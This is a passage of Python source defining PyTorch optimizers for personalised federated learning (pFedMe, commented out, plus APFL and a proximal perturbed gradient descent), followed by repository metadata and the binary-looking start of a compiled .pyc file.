# def __init__(self, params, lr=0.01, lamda=0.1 , mu = 0.001):
# #self.local_weight_updated = local_weight # w_i,K
# if lr < 0.0:
# raise ValueError("Invalid learning rate: {}".format(lr))
# defaults = dict(lr=lr, lamda=lamda, mu = mu)
# super(pFedMeOptimizer, self).__init__(params, defaults)
# def step(self, local_weight_updated, closure=None):
# loss = None
# if closure is not None:
# loss = closure
# weight_update = local_weight_updated.copy()
# for group in self.param_groups:
# for p, localweight in zip( group['params'], weight_update):
# p.data = p.data - group['lr'] * (p.grad.data + group['lamda'] * (p.data - localweight.data) + group['mu']*p.data)
# return group['params'], loss
# def update_param(self, local_weight_updated, closure=None):
# loss = None
# if closure is not None:
# loss = closure
# weight_update = local_weight_updated.copy()
# for group in self.param_groups:
# for p, localweight in zip( group['params'], weight_update):
# p.data = localweight.data
# #return p.data
# return group['params']
class APFLOptimizer(Optimizer):
def __init__(self, params, lr):
defaults = dict(lr=lr)
super(APFLOptimizer, self).__init__(params, defaults)
def step(self, beta=1, n_k=1):
for group in self.param_groups:
for p in group['params']:
if p.grad is None:
continue
d_p = beta * n_k * p.grad.data
p.data.add_(-group['lr'], d_p)
class PerturbedGradientDescent(Optimizer):
def __init__(self, params, lr=0.01, mu=0.0):
if lr < 0.0:
raise ValueError(f'Invalid learning rate: {lr}')
default = dict(lr=lr, mu=mu)
super().__init__(params, default)
@torch.no_grad()
def step(self, global_params, device):
for group in self.param_groups:
for p, g in zip(group['params'], global_params):
g = g.to(device)
d_p = p.grad.data + group['mu'] * (p.data - g.data)
p.data.add_(d_p, alpha=-group['lr'])
| 4,348 | Python | .py | 96 | 36.9375 | 131 | 0.556371 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,631 | fedoptimizer.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/optimizers/__pycache__/fedoptimizer.cpython-39.pyc | a
fæ`c¸ „ @ sh d dl Z d dlmZ G ddÑ deÉZG ddÑ deÉZG ddÑ deÉZG d d
Ñ d
eÉZG ddÑ deÉZdS )
È N)⁄ Optimizerc s& |